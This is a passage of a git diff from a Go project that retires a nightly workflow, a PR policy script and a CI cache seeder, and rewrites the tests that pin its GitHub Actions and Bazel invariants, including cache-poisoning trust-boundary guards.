TestCreateBatchFastPathsMatchPerRowLarge_Embedded(t *testing.T) { skipUnlessEmbeddedDolt(t) if raceEnabled { - t.Skip("458-issue equivalence scenarios skipped under -race; nightly.yml's non-race embedded step runs them") + t.Skip("458-issue equivalence scenarios skipped under -race; embeddeddolt_batch_apply_nonrace_test runs them") } createbatchequiv.RunLarge(t, openEquivalenceDB) } diff --git a/internal/storage/embeddeddolt/large_batch_apply_measure_test.go b/internal/storage/embeddeddolt/large_batch_apply_measure_test.go index f2afca563..cbdb06800 100644 --- a/internal/storage/embeddeddolt/large_batch_apply_measure_test.go +++ b/internal/storage/embeddeddolt/large_batch_apply_measure_test.go @@ -222,12 +222,10 @@ const large712ShapeName = "712 (mol 2x)" // engine's own internal goroutine/lock machinery, not on anything this // test's own logic does, and unlike the wall-clock test this one DOES have a // real pass/fail assertion (the pinned Total() above), so skipping it under -// race is a deliberate reduction from per-PR to nightly-only coverage for -// this specific regression check — not a weakening of the assertion itself. -// nightly.yml's "Embedded Dolt batch-apply suite (non-race)" step (the -// nightly embedded non-race lane from #7128) has its -run regex extended -// alongside this change to include this test, so the full 12790-statement -// pinned baseline still runs, non-race, every night. +// race moves this regression check to the non-race embedded variant — not a +// weakening of the assertion itself. //internal/storage/embeddeddolt:embeddeddolt_batch_apply_nonrace_test +// (the Bazel embedded tier) selects this test, so the full 12790-statement +// pinned baseline still runs, non-race. func runLargeBatchApplyStatementCountsShape(t *testing.T, shapeName string) { skipUnlessEmbeddedDolt(t) ctx := t.Context() @@ -240,7 +238,7 @@ func runLargeBatchApplyStatementCountsShape(t *testing.T, shapeName string) { matched = true t.Run(tc.name, func(t *testing.T) { if tc.name == large712ShapeName && raceEnabled { - t.Skip("712-item shape's statement-count assertion skipped under -race (race-instrumentation overhead on the Dolt engine itself, not test logic); nightly.yml's Embedded Dolt batch-apply suite (non-race) step runs the full pinned assertion nightly instead; see doc comment above") + t.Skip("712-item shape's statement-count assertion skipped under -race (race-instrumentation overhead on the Dolt engine itself, not test logic); embeddeddolt_batch_apply_nonrace_test runs the full pinned assertion non-race instead; see doc comment above") } fixture := newPristineEmbeddedDoltFixture(t, tc.db) t.Cleanup(func() { closeEmbeddedDoltStore(t, fixture.store) }) @@ -355,8 +353,8 @@ var wallClockShapes = []struct { // own wrapper gets under -race, anywhere in CI, is 150 items; without // -race it still gets the full 1000 in that same subtest. This is a // known, deliberate gap for the race-enabled lane specifically, not an -// oversight — closing it needs a dedicated non-race embedded run (see the -// nightly workflow step added alongside this comment). +// oversight — the dedicated non-race embedded run is +// //internal/storage/embeddeddolt:embeddeddolt_batch_apply_nonrace_test. func TestLargeBatchApplyWallClock_Embedded(t *testing.T) { skipUnlessEmbeddedDolt(t) ctx := t.Context() diff --git a/scripts/README.md b/scripts/README.md index 3bfa67bde..b74ed4a2e 100644 --- a/scripts/README.md +++ b/scripts/README.md @@ -9,7 +9,6 @@ the target CI tiers; Make targets are aliases for local discoverability. ```bash make ci-pr-core -make ci-pr-policy make ci-pr-lint make ci-package-mcp make ci-package-npm @@ -38,7 +37,8 @@ The broad Go wrappers also cap package and test parallelism to `4` by default (`GO_TEST_PKG_PARALLEL` and `GO_TEST_PARALLEL`). This avoids turning high-core shared hosts into a different test topology than GitHub Actions. -`make ci-pr-policy` includes `scripts/check-testing-short.sh`, which enforces +`scripts/check-testing-short.sh` (`make check-testing-short`; CI runs it in +`//scripts:scripts_test`) enforces that `testing.Short()` is only used for runtime, stress, or large-fixture skips. Use build tags, environment checks, or named wrappers for integration/e2e/API boundaries. diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go index 8a0d2516e..2ea1441cc 100644 --- a/scripts/bazel_policy_test.go +++ b/scripts/bazel_policy_test.go @@ -1513,10 +1513,11 @@ func sameTagSet(a, b map[string]bool) bool { } // TestBazelIntegrationLaneMatchesMainWorkflow keeps --config=integration in -// step with the integration-tagged `go test` it replaced on push to main -// (main.yml's former "Main Linux integration" jobs), whose one remaining Go -// twin is nightly.yml's Full Test Suite: the same build tags, race, -// BEADS_TEST_SKIP=dolt, and none of the variants that run does not use. +// step with the integration-tagged `go test` it replaced (main.yml's former +// "Main Linux integration" jobs and nightly.yml's retired Full Test Suite, +// `go test -race -tags=integration,gms_pure_go ./...` with +// BEADS_TEST_SKIP=dolt): the same build tags, race, BEADS_TEST_SKIP=dolt, and +// none of the variants that run does not use. // It also requires gazelle to see the same tags (root BUILD.bazel // `gazelle:build_tags`): gazelle drops a file whose build constraint names a // tag it does not know, so without it no BUILD file would list the integration @@ -1525,22 +1526,7 @@ func sameTagSet(a, b map[string]bool) bool { // through `make bazel-sync`, whose staleness bazel.yml already fails on. func TestBazelIntegrationLaneMatchesMainWorkflow(t *testing.T) { root := bazelPolicyRoot(t) - nightly := readCIWorkflow(t, "nightly.yml").job(t, "full-test") - var want map[string]bool - for _, step := range nightly.Steps { - if m := regexp.MustCompile(`go test .*-race -tags=(\S+) .*-timeout=30m \./\.\.\.`).FindStringSubmatch(step.Run); m != nil { - if want != nil { - t.Fatalf("nightly.yml full-test: more than one integration `go test -race -tags=...` step") - } - want = tagSet(m[1]) - if step.Env["BEADS_TEST_SKIP"] != "dolt" { - t.Fatal("nightly.yml full-test no longer runs with BEADS_TEST_SKIP=dolt; update test:integration") - } - } - } - if !want["integration"] { - t.Fatalf("nightly.yml full-test: want one `go test -race -tags=...integration... -timeout=30m ./...` step, got tags %v", want) - } + want := tagSet("integration,gms_pure_go") bazelrc := readPolicyFile(t, root, ".bazelrc") lines := map[string]bool{} @@ -1553,7 +1539,7 @@ func TestBazelIntegrationLaneMatchesMainWorkflow(t *testing.T) { } } if !sameTagSet(laneTags, want) { - t.Errorf(".bazelrc build:integration tags = %v, want nightly.yml full-test's %v", laneTags, want) + t.Errorf(".bazelrc build:integration tags = %v, want %v", laneTags, want) } if err := checkBazelrcIntegrationLane(bazelrc); err != nil { t.Error(err) diff --git a/scripts/check-workapi-frontend-boundary.sh b/scripts/check-workapi-frontend-boundary.sh index 2031166bc..f942aaf57 100755 --- a/scripts/check-workapi-frontend-boundary.sh +++ b/scripts/check-workapi-frontend-boundary.sh @@ -8,8 +8,7 @@ # derived from a client's cwd or environment are meaningless in a long-lived # server and must not leak into the shared contract. # -# Runs in scripts/ci/pr-policy.sh and as -# //scripts/repochecks:workapi_frontend_boundary_test. +# Runs as //scripts/repochecks:workapi_frontend_boundary_test. set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" diff --git a/scripts/ci/pr-core.sh b/scripts/ci/pr-core.sh index 8c66241bc..0fa706b0a 100755 --- a/scripts/ci/pr-core.sh +++ b/scripts/ci/pr-core.sh @@ -27,10 +27,10 @@ GO_TEST_PARALLEL="${GO_TEST_PARALLEL:-4}" # just under). No single test is at fault, so the panic names whichever one was # in flight and reads like a hang when it is really the whole package running out # of clock. 30m is what every other -race lane here already gives this same code: -# main.yml's macOS test job, ci-measurements.yml, nightly.yml. Splitting or de-slowing cmd/bd is the real fix and belongs on main +# main.yml's macOS test job. Splitting or de-slowing cmd/bd is the real fix and belongs on main # — this only stops the clock from being the thing that fails. # BEADS_PR_CORE_GO_TEST_JSON=: same run, `go test -json` output to -# (nightly.yml feeds it to tools/bazel/equivalence.py --go-test-json). +# (for tools/bazel/equivalence.py --go-test-json, the skip-parity check). go_test() { if [[ -n "${BEADS_PR_CORE_GO_TEST_JSON:-}" ]]; then go test -json "$@" >"$BEADS_PR_CORE_GO_TEST_JSON" diff --git a/scripts/ci/pr-policy.sh b/scripts/ci/pr-policy.sh deleted file mode 100755 index d450085c7..000000000 --- a/scripts/ci/pr-policy.sh +++ /dev/null @@ -1,90 +0,0 @@ -#!/usr/bin/env bash -# Required PR repository policy checks. - -set -euo pipefail - -SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" -REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" - -# shellcheck source=../.buildflags -source "$REPO_ROOT/.buildflags" -# shellcheck source=lib/timing.sh -source "$REPO_ROOT/scripts/ci/lib/timing.sh" - -cd "$REPO_ROOT" - -tmpdir="" -cleanup() { - if [[ -n "$tmpdir" ]]; then - rm -rf "$tmpdir" - fi -} -trap cleanup EXIT - -check_no_beads_jsonl_changes() { - local base_ref="" - - if [[ "${CI_SKIP_BEADS_CHANGE_CHECK:-0}" == "1" ]]; then - printf 'Skipping .beads/issues.jsonl guard because CI_SKIP_BEADS_CHANGE_CHECK=1\n' - return 0 - fi - - if [[ -n "${CI_BEADS_DIFF_BASE:-}" ]]; then - base_ref="$CI_BEADS_DIFF_BASE" - elif [[ -n "${GITHUB_BASE_REF:-}" ]]; then - base_ref="origin/${GITHUB_BASE_REF}" - elif git rev-parse --verify --quiet origin/main >/dev/null; then - base_ref="origin/main" - printf 'No PR base ref found; checking .beads/issues.jsonl against origin/main.\n' - else - printf 'No diff base available; skipping .beads/issues.jsonl guard.\n' - return 0 - fi - - if ! git rev-parse --verify --quiet "$base_ref" >/dev/null; then - printf 'Diff base %s is unavailable; skipping .beads/issues.jsonl guard.\n' "$base_ref" - return 0 - fi - - if git diff --name-only "$base_ref"...HEAD | grep -q '^\.beads/issues\.jsonl$'; then - cat >&2 <<'EOF' -This change includes .beads/issues.jsonl. - -That file is the project's issue database and should not be modified in PRs. - -To fix: - git checkout origin/main -- .beads/issues.jsonl - git commit --amend -EOF - return 1 - fi - - printf 'No .beads/issues.jsonl changes detected.\n' -} - -build_docs_binary() { - tmpdir="$(mktemp -d)" - local build - build="$(git rev-parse --short HEAD)" - - env CGO_ENABLED=0 go build \ - -ldflags="-X main.Build=${build}" \ - -o "$tmpdir/bd" \ - ./cmd/bd -} - -ci_time "check build-tag policy" -- ./scripts/check-build-tags.sh -ci_time "check workflow build-tag declarations" -- \ - go run -tags=gms_pure_go ./scripts/checkworkflowtags -ci_time "check go install guidance" -- ./scripts/check-go-install-guidance.sh -ci_time "check version consistency" -- ./scripts/check-versions.sh -ci_time "build bd for docs checks" -- build_docs_binary -ci_time "check doc flags" -- ./scripts/check-doc-flags.sh "$tmpdir/bd" -ci_time "check doc freshness" -- ./scripts/check-doc-freshness.sh -ci_time "check testing.Short boundaries" -- ./scripts/check-testing-short.sh -ci_time "check workapi frontend boundary" -- ./scripts/check-workapi-frontend-boundary.sh -ci_time "check no .beads/issues.jsonl changes" -- check_no_beads_jsonl_changes -# The OpenAPI drift gate belongs to a REQUIRED PR job. The Main workflow is -# perpetually concurrency-cancelled, so a gate that only ran there would be -# unenforced in practice. -ci_time "check openapi spec gate" -- make api-check diff --git a/scripts/ci/warm-non-race-cache.sh b/scripts/ci/warm-non-race-cache.sh index 8031511a9..51b5de8ff 100755 --- a/scripts/ci/warm-non-race-cache.sh +++ b/scripts/ci/warm-non-race-cache.sh @@ -6,9 +6,6 @@ # Dolt/test-env setup required). # # Shared by every non-race seeder so they can never drift apart (F7b spec 4.2): -# - main.yml's build-artifacts (ubuntu-latest / fork-PR path non-race save) -# - main.yml's blacksmith-go-build-cache (Blacksmith / same-repo-PR path -# non-race save) # - main.yml's test-windows (Windows non-race save) # - main.yml's blacksmith-macos-go-build-cache (macOS non-race save: its # github leg the fork/Dependabot path of pr.yml's macOS legs, its diff --git a/scripts/ci_f7b_review_test.go b/scripts/ci_f7b_review_test.go index 2387d8863..b1d251737 100644 --- a/scripts/ci_f7b_review_test.go +++ b/scripts/ci_f7b_review_test.go @@ -66,14 +66,11 @@ func TestBlacksmithReachablePRJobsDisableDefaultCachingActions(t *testing.T) { } // blacksmithSaverJobs are main.yml's push-to-main-only jobs that seed a -// Blacksmith-selection GOCACHE/vet-cache a same-repo PR or merge_group job -// above restores from. F7c's blacksmith-setup-go-cache is pinned by its own -// TestBlacksmithSeederGuardedAgainstPullRequest in ci_f7c_advisory_test.go; -// these are F7b's remaining savers (B2), the macOS saver, and the Blacksmith macOS +// Blacksmith-selection GOCACHE a same-repo PR or merge_group job restores +// from: F7b's Windows saver (B2), the macOS saver, and the Blacksmith macOS // `test` job (which saves its own race cache). var blacksmithSaverJobs = []string{ - "blacksmith-go-build-cache", "test-windows", - "blacksmith-macos-go-build-cache", "test", + "test-windows", "blacksmith-macos-go-build-cache", "test", } // TestBlacksmithSaverJobsGuardedAgainstPullRequest is the B2 fix's pin: each @@ -135,7 +132,7 @@ func TestBlacksmithSaverJobsGuardedAgainstPullRequest(t *testing.T) { } // TestBlacksmithSaverCacheKeysAreNotPerCommit is the S7 fix's pin: each of -// blacksmith-go-build-cache's and test-windows' Go-cache +// main.yml's Blacksmith savers' Go-cache // restore/save key pairs is bounded by go.sum content plus a UTC calendar day // (via that job's own "Compute cache date" step, id: cache-date), not by // github.sha, so an ordinary day of push traffic to main cannot mint a new @@ -153,11 +150,6 @@ func TestBlacksmithSaverCacheKeysAreNotPerCommit(t *testing.T) { saveStepNames []string } cases := []saverSteps{ - { - job: "blacksmith-go-build-cache", - restoreStepNames: []string{"Restore race Go build cache", "Restore non-race Go build cache"}, - saveStepNames: []string{"Save race Go build cache", "Save non-race Go build cache"}, - }, { job: "test-windows", restoreStepNames: []string{"Restore non-race Go build cache"}, @@ -203,53 +195,20 @@ func TestBlacksmithSaverCacheKeysAreNotPerCommit(t *testing.T) { // TestBlacksmithSaverVenueAndFlavorMatricesAreComplete re-pins mutations the // reviewer's mutate.py found surviving against pre-fix code (M8, M9): main.yml's -// "venue matrix" savers (test-windows and the -// Linux and macOS Go build cache savers) +// "venue matrix" savers (test-windows and the macOS Go build cache saver) // must each keep BOTH the `blacksmith` leg (the actual same-repo-PR seed) and -// the `github` leg (that job's pre-existing fork-PR/GitHub-hosted coverage), -// and blacksmith-go-build-cache's `flavor` matrix must keep both `race` and -// `non-race` -- dropping either silently loses a cache seed or a whole -// coverage flavor with no test noticing (TestSameRepoBlacksmithRunners only -// pins the runs-on ternary string, which does not change shape if a matrix -// axis's value list shrinks). +// the `github` leg (that job's pre-existing fork-PR/GitHub-hosted coverage) +// -- dropping either silently loses a cache seed with no test noticing +// (TestSameRepoBlacksmithRunners only pins the runs-on ternary string, which +// does not change shape if a matrix axis's value list shrinks). func TestBlacksmithSaverVenueAndFlavorMatricesAreComplete(t *testing.T) { workflow := readCIWorkflow(t, "main.yml") - for _, jobName := range []string{"test-windows", "blacksmith-go-build-cache", "blacksmith-macos-go-build-cache"} { + for _, jobName := range []string{"test-windows", "blacksmith-macos-go-build-cache"} { job := workflow.job(t, jobName) if got := job.Strategy.Matrix.Venue; !equalStrings(got, []string{"blacksmith", "github"}) { t.Errorf("main.yml's %s matrix.venue = %v, want [blacksmith github]", jobName, got) } } - job := workflow.job(t, "blacksmith-go-build-cache") - if got := job.Strategy.Matrix.Flavor; !equalStrings(got, []string{"race", "non-race"}) { - t.Errorf("main.yml's blacksmith-go-build-cache matrix.flavor = %v, want [race non-race]", got) - } -} - -// TestBlacksmithGoBuildCacheRaceLegActuallyUsesRace re-pins mutation M6: the -// race flavor's GOCACHE-warming step must actually pass `-race` to `go test`, -// or the "race" leg's saved cache would silently warm a non-race build -// instead and every race-flavor restore downstream would cache-miss (or -// worse, hit a non-race-compiled cache under the race key). -func TestBlacksmithGoBuildCacheRaceLegActuallyUsesRace(t *testing.T) { - job := readCIWorkflow(t, "main.yml").job(t, "blacksmith-go-build-cache") - step := job.step(t, "Warm race GOCACHE") - if !strings.Contains(step.Run, "-race") { - t.Errorf("blacksmith-go-build-cache's race-leg warm step run = %q, want it to pass -race", step.Run) - } -} - -// TestBlacksmithGoBuildCacheNonRaceLegWarmsPreflightPackages re-pins mutation -// M7: the non-race flavor's warm step must run the shared -// warm-non-race-cache.sh, so the same-repo-PR seed can never silently stop -// covering what pr-preflight-platforms' and check-doc-freshness-platforms' -// ubuntu legs compile. -func TestBlacksmithGoBuildCacheNonRaceLegWarmsPreflightPackages(t *testing.T) { - job := readCIWorkflow(t, "main.yml").job(t, "blacksmith-go-build-cache") - step := job.step(t, "Warm non-race GOCACHE (preflight/doc-freshness)") - if step.Run != "bash scripts/ci/warm-non-race-cache.sh" { - t.Errorf("blacksmith-go-build-cache's non-race-leg warm step run = %q, want bash scripts/ci/warm-non-race-cache.sh", step.Run) - } } // TestWarmNonRaceCacheScriptCompilesGitattributespolicy re-pins mutation M15: diff --git a/scripts/ci_f7c_advisory_test.go b/scripts/ci_f7c_advisory_test.go index 517220025..4885457cc 100644 --- a/scripts/ci_f7c_advisory_test.go +++ b/scripts/ci_f7c_advisory_test.go @@ -2,6 +2,8 @@ package scripts_test import ( "fmt" + "os" + "path/filepath" "sort" "strings" "testing" @@ -12,8 +14,7 @@ import ( // F7c (spec-f7.md §2.4, §4.3): advisory workflows moved onto a same-repo-PR // Blacksmith runner. These tests pin the invariants that make that safe: no // advisory job can read a secret just because it now names a Blacksmith -// label, and the Blacksmith-side setup-go seed in main.yml actually exists -// for the jobs that depend on it. The path-filtered upgrade suites F7c folded +// label, and no Blacksmith-reachable job saves a cache. The path-filtered upgrade suites F7c folded // (Migration Test Harness, Cross-Version Smoke) and their filter and fold // checks are gone: those suites run under Bazel (//tests/migration, // //tests/upgrade_smoke). @@ -110,14 +111,6 @@ func TestNixBuildDropsPullRequestTriggerNotPushOrDispatch(t *testing.T) { } } -func mapKeys[K comparable, V any](m map[K]V) []K { - keys := make([]K, 0, len(m)) - for k := range m { - keys = append(keys, k) - } - return keys -} - func sortedCopy(items []string) []string { out := append([]string(nil), items...) sort.Strings(out) @@ -238,165 +231,36 @@ func TestF7cAdvisorySameRepoBlacksmithExpressionSemantics(t *testing.T) { } } -// --- Blacksmith cache-visibility precondition (spec-f7.md §2.2 Group B) --- +// --- Retired setup-go seeder (ga-96smfk.58) -------------------------------- -// blacksmithSetupGoCacheConsumers is every advisory job that restores the -// self-defined `blacksmith-sg-v1-` setup-go cache main.yml's -// blacksmith-setup-go-cache job seeds (B2, F7c implementation report). -var blacksmithSetupGoCacheConsumers = map[string][]string{} - -// blacksmithSetupGoCacheKeyNamespace is the self-defined cache key prefix -// (not setup-go's own implicit key) that the seeder and every consumer share, -// so the "no save in a consumer job" checks below can scope to exactly this -// cache without also flagging an unrelated, legitimately-caching step in -// another namespace. -const blacksmithSetupGoCacheKeyNamespace = "blacksmith-sg-v1-" - -// TestBlacksmithSetupGoSeedExistsForAdvisoryConsumers pins that main.yml's -// blacksmith-setup-go-cache job exists, restores whatever is already cached, -// unconditionally re-runs every warm-up command (not gated on a cache hit, -// since a stale or partial restore must still self-heal), and then always -// saves - the "always warm, always save" design B2 requires so this job can -// safely be the ONLY writer of the Blacksmith-side setup-go cache every -// advisory consumer below reads from. -func TestBlacksmithSetupGoSeedExistsForAdvisoryConsumers(t *testing.T) { - job := readCIWorkflow(t, "main.yml").job(t, "blacksmith-setup-go-cache") - - if !strings.Contains(job.RunsOn, "blacksmith-") { - t.Errorf("main.yml's blacksmith-setup-go-cache runs-on = %q, want a Blacksmith label", job.RunsOn) +// TestNoBlacksmithSetupGoCacheNamespace: main.yml's blacksmith-setup-go-cache +// seeder warmed the self-keyed blacksmith-sg-v1- cache for the F7c advisory +// workflows (regression, migration-test, cross-version-smoke, +// proxied-local-smoke). All four are Bazel targets now, so nothing restores +// that namespace; a workflow naming it again would be a writer or reader with +// no counterpart. +func TestNoBlacksmithSetupGoCacheNamespace(t *testing.T) { + root := sourceRepoRoot(t) + entries, err := os.ReadDir(filepath.Join(root, ".github", "workflows")) + if err != nil { + t.Fatal(err) } - if job.TimeoutMinutes == 0 { - t.Error("main.yml's blacksmith-setup-go-cache has no timeout-minutes") - } - - setupGoIndex := -1 - for i, step := range job.Steps { - if actionFamily(step.Uses) != setupGoActionFamily { + for _, entry := range entries { + if !strings.HasSuffix(entry.Name(), ".yml") { continue } - setupGoIndex = i - if step.ID != "setup-go" { - t.Errorf("main.yml's blacksmith-setup-go-cache setup-go step has id %q, want \"setup-go\"", step.ID) - } - // The seeder disables setup-go's OWN implicit cache (which would try - // to use a GitHub-hosted cache entry Blacksmith can't see) in favor of - // the explicit, self-keyed restore/save steps below. - if step.With["cache"] != "false" { - t.Errorf("main.yml's blacksmith-setup-go-cache setup-go cache = %q, want \"false\" (this job manages its own cache explicitly)", step.With["cache"]) - } - if step.With["go-version-file"] != "go.mod" { - t.Errorf("main.yml's blacksmith-setup-go-cache setup-go go-version-file = %q, want go.mod", step.With["go-version-file"]) + if strings.Contains(readPolicyFile(t, root, ".github/workflows/"+entry.Name()), "blacksmith-sg-v1-") { + t.Errorf("%s names the retired blacksmith-sg-v1- setup-go cache namespace", entry.Name()) } } - if setupGoIndex < 0 { - t.Fatal("main.yml's blacksmith-setup-go-cache has no actions/setup-go step") - } - - restore := job.step(t, "Restore Blacksmith setup-go cache") - if actionFamily(restore.Uses) != cacheRestoreActionFamily { - t.Errorf("main.yml's blacksmith-setup-go-cache Restore step uses %q, want family %q", restore.Uses, cacheRestoreActionFamily) - } - if restore.If != "" { - t.Errorf("main.yml's blacksmith-setup-go-cache Restore step has if=%q, want unconditional (push-to-main only job, always trusted)", restore.If) - } - if !strings.HasPrefix(restore.With["key"], blacksmithSetupGoCacheKeyNamespace) { - t.Errorf("main.yml's blacksmith-setup-go-cache Restore key = %q, want it to start with %q", restore.With["key"], blacksmithSetupGoCacheKeyNamespace) - } - - wantWarmups := []string{ - "make build", - } - for _, want := range wantWarmups { - found := false - for i, step := range job.Steps[setupGoIndex+1:] { - if strings.TrimSpace(step.Run) != want { - continue - } - found = true - // Unconditional, not gated on a cache hit (F7c review fix B2): - // the whole point of this job is to keep the cache warm, so it - // must always repopulate GOCACHE/GOMODCACHE. - if step.If != "" { - t.Errorf("main.yml's blacksmith-setup-go-cache step %q (index %d) has if=%q, want it unconditional", - want, setupGoIndex+1+i, step.If) - } - } - if !found { - t.Errorf("main.yml's blacksmith-setup-go-cache has no step that runs exactly %q", want) - } - } - - save := job.step(t, "Save Blacksmith setup-go cache") - if actionFamily(save.Uses) != cacheSaveActionFamily { - t.Errorf("main.yml's blacksmith-setup-go-cache Save step uses %q, want family %q", save.Uses, cacheSaveActionFamily) - } - if save.If != "always()" { - t.Errorf("main.yml's blacksmith-setup-go-cache Save step has if=%q, want \"always()\" (save even if a warm-up step above failed)", save.If) - } - if !strings.HasPrefix(save.With["key"], blacksmithSetupGoCacheKeyNamespace) { - t.Errorf("main.yml's blacksmith-setup-go-cache Save key = %q, want it to start with %q", save.With["key"], blacksmithSetupGoCacheKeyNamespace) - } - if save.With["key"] != restore.With["key"] { - t.Errorf("main.yml's blacksmith-setup-go-cache Save key = %q, Restore key = %q; the seeder must save under the exact key it restores from", save.With["key"], restore.With["key"]) - } -} - -// TestBlacksmithSeederGuardedAgainstPullRequest pins main.yml's -// blacksmith-setup-go-cache job `if:` byte-for-byte (F7c review fix S2): this -// job is the ONLY writer every advisory consumer's blacksmith-sg-v1- restore -// trusts, so it must stay push-to-main-only even in the counterfactual where -// main.yml's `on:` trigger set grows a pull_request (or merge_group) entry -// someday. A guard that only checks github.repository (the pre-fix state) -// would not catch that: every same-repo PR also satisfies -// github.repository == 'gastownhall/beads'. The real regression this closes -// is evaluated below via evalGHExpr, not just a string match, so the job is -// also proven actually unreachable under a same-repo pull_request event. -func TestBlacksmithSeederGuardedAgainstPullRequest(t *testing.T) { - const wantIf = "github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads'" - job := readCIWorkflow(t, "main.yml").job(t, "blacksmith-setup-go-cache") - if job.If != wantIf { - t.Fatalf("main.yml's blacksmith-setup-go-cache if=%q, want exactly %q", job.If, wantIf) - } - - const ownRepo = "gastownhall/beads" - cases := []struct { - name string - ctx map[string]string - want bool - }{ - {"actual push to main", map[string]string{ - "github.event_name": "push", "github.ref": "refs/heads/main", "github.repository": ownRepo, - }, true}, - {"same-repo pull_request stays excluded", map[string]string{ - "github.event_name": "pull_request", "github.ref": "refs/pull/1/merge", "github.repository": ownRepo, - "github.event.pull_request.head.repo.full_name": ownRepo, - }, false}, - {"merge_group stays excluded", map[string]string{ - "github.event_name": "merge_group", "github.ref": "refs/heads/gh-readonly-queue/main/pr-1", "github.repository": ownRepo, - }, false}, - {"push to a non-main branch stays excluded", map[string]string{ - "github.event_name": "push", "github.ref": "refs/heads/not-main", "github.repository": ownRepo, - }, false}, - {"push from a fork stays excluded", map[string]string{ - "github.event_name": "push", "github.ref": "refs/heads/main", "github.repository": "someone-else/beads", - }, false}, - } - for _, c := range cases { - t.Run(c.name, func(t *testing.T) { - got, err := evalGHExpr(job.If, c.ctx) - if err != nil { - t.Fatalf("evalGHExpr(%q): %v", job.If, err) - } - if ghTruthy(got) != c.want { - t.Errorf("evalGHExpr(%q) under %+v = %#v, want truthy=%v", job.If, c.ctx, got, c.want) - } - }) + if _, found := readCIWorkflow(t, "main.yml").Jobs["blacksmith-setup-go-cache"]; found { + t.Error("main.yml has a blacksmith-setup-go-cache job again; it seeds a cache nothing restores") } } // TestMainWorkflowHasNoSameRepoPRReachableTrigger is the direct half of F7c -// review fix S2's "pin the seeder's trust boundary" ask: belt-and-suspenders -// alongside the job-level guard in TestBlacksmithSeederGuardedAgainstPullRequest. +// review fix S2's "pin the savers' trust boundary" ask: belt-and-suspenders +// alongside the job-level guard in TestBlacksmithSaverJobsGuardedAgainstPullRequest. // The guard defuses the vulnerability even if one of these triggers is added // to main.yml's `on:` block, but this test catches the trigger addition // itself at the workflow-trust-surface level, so a future edit here gets @@ -414,7 +278,7 @@ func TestMainWorkflowHasNoSameRepoPRReachableTrigger(t *testing.T) { } for _, forbidden := range []string{"pull_request", "pull_request_target", "merge_group", "workflow_run"} { if _, ok := parsed.On[forbidden]; ok { - t.Errorf("main.yml's on: has a %q trigger; its blacksmith-setup-go-cache seeder is the ONLY writer every advisory consumer trusts, so this workflow must never become reachable from a same-repo PR/merge-queue event even with the job-level guard as a second layer", forbidden) + t.Errorf("main.yml's on: has a %q trigger; its push-to-main cache savers are the only writers PR jobs trust, so this workflow must never become reachable from a same-repo PR/merge-queue event even with the job-level guard as a second layer", forbidden) } } if _, ok := parsed.On["push"]; !ok { @@ -422,135 +286,6 @@ func TestMainWorkflowHasNoSameRepoPRReachableTrigger(t *testing.T) { } } -// TestAdvisoryBlacksmithConsumersAreCacheRestoreOnly replaces the pre-review -// TestAdvisoryBlacksmithConsumersKeepImplicitSetupGoCache (F7c review fix -// B2): each consumer must disable setup-go's own implicit cache on a -// self-hosted (Blacksmith) runner and restore-only from the self-keyed -// `blacksmith-sg-v1-` namespace, with NO save step in that namespace - only -// main.yml's seeder may ever write it, so a same-repo PR run can read the -// cache but never poison what another PR or main's seeder reads back. The -// "no save" check is scoped to the blacksmith-sg-v1- key namespace -// specifically (not "no actions/cache/save in this job at all"): a cache in -// another namespace is the general sweep's concern below -// (TestBlacksmithReachableAdvisoryJobsNeverSaveACache), not an exemption -// from this one. -func TestAdvisoryBlacksmithConsumersAreCacheRestoreOnly(t *testing.T) { - for file, jobNames := range blacksmithSetupGoCacheConsumers { - workflow := readCIWorkflow(t, file) - for _, jobName := range jobNames { - t.Run(file+"/"+jobName, func(t *testing.T) { - job := workflow.job(t, jobName) - - var sawSetupGo, sawRestore bool - for _, step := range job.Steps { - switch actionFamily(step.Uses) { - case setupGoActionFamily: - sawSetupGo = true - // F7c review fix N1: fail-closed. Pinned to the - // "== 'github-hosted'" form (not "!= 'self-hosted'") - // so an empty/unknown runner.environment value keeps - // caching OFF instead of turning it on. - if step.With["cache"] != "${{ runner.environment == 'github-hosted' }}" { - t.Errorf("%s job %s setup-go cache = %q, want it disabled on self-hosted runners (fail-closed)", file, jobName, step.With["cache"]) - } - case cacheRestoreActionFamily: - if strings.HasPrefix(step.With["key"], blacksmithSetupGoCacheKeyNamespace) { - sawRestore = true - if !strings.Contains(step.If, "runner.environment == 'self-hosted'") { - t.Errorf("%s job %s setup-go cache Restore step has if=%q, want it gated on runner.environment == 'self-hosted'", file, jobName, step.If) - } - } - case cacheSaveActionFamily, cacheMonolithicActionFamily: - if strings.HasPrefix(step.With["key"], blacksmithSetupGoCacheKeyNamespace) { - t.Errorf("%s job %s has a %s step keyed in the blacksmith-sg-v1- namespace (%q); only main.yml's seeder may save this cache", file, jobName, actionFamily(step.Uses), step.With["key"]) - } - } - } - if !sawSetupGo { - t.Errorf("%s job %s has no actions/setup-go step", file, jobName) - } - if !sawRestore { - t.Errorf("%s job %s has no blacksmith-sg-v1- cache restore step", file, jobName) - } - }) - } - } -} - -// TestBlacksmithSeederCacheKeyIsNotPerCommit pins F7c review fix S5: the -// seeder's save/restore key suffix must be a UTC calendar day -// (steps.cache-date.outputs.today), not github.sha. Keying per commit meant -// every single push to main - whether or not go.sum changed - wrote a new -// multi-GB ~/go/pkg/mod + ~/.cache/go-build entry under this namespace; on a -// cache store with LRU eviction (Blacksmith) that churn risked evicting -// F7a's own beads-go-mod-v2-*/beads-go-build-v2-* entries. Keying per day -// instead caps writes to at most once per calendar day while still picking -// up a go.sum change on the very next push. -func TestBlacksmithSeederCacheKeyIsNotPerCommit(t *testing.T) { - job := readCIWorkflow(t, "main.yml").job(t, "blacksmith-setup-go-cache") - - dateStep := job.step(t, "Compute cache date") - if dateStep.ID != "cache-date" { - t.Errorf("main.yml's blacksmith-setup-go-cache Compute cache date step has id %q, want \"cache-date\"", dateStep.ID) - } - if !strings.Contains(dateStep.Run, "date -u") { - t.Errorf("main.yml's blacksmith-setup-go-cache Compute cache date step run = %q, want it to compute a UTC date", dateStep.Run) - } - - restore := job.step(t, "Restore Blacksmith setup-go cache") - save := job.step(t, "Save Blacksmith setup-go cache") - for name, step := range map[string]ciWorkflowStep{"Restore": restore, "Save": save} { - key := step.With["key"] - if strings.Contains(key, "github.sha") { - 